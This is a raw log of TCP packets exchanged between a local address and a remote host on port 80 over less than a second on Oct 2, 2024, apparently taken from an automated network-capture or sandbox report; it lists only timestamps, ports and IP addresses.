Oct 2, 2024 05:29:28.066483021 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066520929 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066533089 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066544056 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066555977 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066581964 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066603899 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066696882 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066706896 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066718102 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066729069 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066747904 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066760063 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066770077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066781998 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066803932 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066803932 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066803932 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066854000 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.067363977 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067374945 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067394018 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067408085 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.067464113 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067475080 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067486048 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067502975 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067528009 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.067528009 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.067612886 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067624092 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067632914 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067642927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067652941 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067657948 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067668915 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.067668915 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067681074 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.067689896 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.067702055 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.068268061 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068331957 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.068339109 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068351030 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068360090 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068387032 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068391085 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.068397045 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068408012 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068419933 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.068460941 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.068486929 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068499088 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.068622112 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.151149035 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151171923 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151182890 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151195049 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151211977 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151221991 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151232958 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151245117 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.151272058 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.151333094 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.193645954 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193664074 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193675995 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193691015 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193701029 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193707943 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193840981 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193851948 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193856955 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193864107 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193875074 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193876028 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.193907976 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.193914890 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193953037 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.193953037 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.193969965 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.193981886 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194036007 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194042921 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194060087 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194072008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194108009 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194158077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194170952 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194181919 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194192886 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194205999 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194209099 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194230080 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194272041 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194400072 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194411993 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194423914 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194454908 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194462061 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194473982 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194484949 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194497108 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194499969 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194590092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194649935 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194662094 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194673061 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194681883 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194735050 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194735050 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194776058 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194833994 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194844961 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194855928 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194868088 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194892883 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194892883 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194955111 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.194982052 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.194993019 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195003986 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195014954 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195025921 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195039988 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195070028 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195122957 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195133924 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195148945 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195162058 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195187092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195187092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195388079 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195436954 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195449114 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195465088 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195507050 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195511103 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195522070 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195533037 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195544958 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195574045 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195574045 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195679903 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195691109 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195703030 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195713043 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195724010 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195736885 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195749044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195775986 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195775986 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195812941 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195822954 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.195826054 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.195866108 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.198801041 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198812008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198829889 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198853016 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.198879957 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.198892117 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198904037 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198915958 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198929071 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.198957920 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.198976040 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199039936 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199050903 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199062109 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199073076 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199084044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199095011 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199100018 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199100971 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199112892 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199115992 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199126005 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199141979 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199189901 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199201107 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199217081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199229002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199239969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199251890 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199264050 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199265957 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199278116 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199322939 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199322939 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199405909 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199407101 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199418068 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199424982 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199489117 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199505091 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199506044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199521065 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199532986 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199542999 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199562073 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199562073 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199564934 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199577093 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199592113 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199605942 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199620962 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199645996 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199652910 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199734926 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199748039 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199759007 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199771881 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199784040 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.199820995 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.199893951 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238132000 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238168001 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238179922 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238190889 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238202095 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238209009 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238214016 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238224983 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238235950 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238260031 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238270044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238279104 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238280058 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238292933 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238305092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238305092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238308907 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238349915 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238349915 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.238367081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238378048 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.238432884 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280458927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280481100 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280507088 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280524015 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280539036 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280554056 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280570984 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280585051 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280602932 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280621052 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280642986 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280659914 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280684948 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280684948 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280728102 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280741930 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280756950 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280832052 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280846119 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280853987 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280853987 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280859947 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280874968 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280889034 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280905008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280915976 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280915976 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280920029 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.280965090 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.280973911 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281003952 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281019926 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281033993 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281049967 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281049967 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281114101 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281128883 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281138897 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281138897 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281142950 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281156063 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281172037 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281194925 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281194925 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281217098 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281233072 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281248093 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281261921 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281291008 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281291008 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.281291962 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281306028 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.281390905 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323179007 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323203087 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323247910 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323259115 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323276043 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323287010 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323297977 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323307991 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323313951 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323319912 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323338985 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323338985 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323352098 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323391914 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323391914 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323436022 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323446989 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323457956 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323467970 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323484898 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323496103 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323508978 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323510885 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323518991 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323530912 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323543072 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323548079 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323548079 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323569059 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323632002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323643923 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323653936 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323678017 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323717117 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323749065 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323760033 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323771000 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323781967 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323793888 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323811054 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323837996 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.323887110 CEST	80	49707	45.90.89.123	192.168.2.10
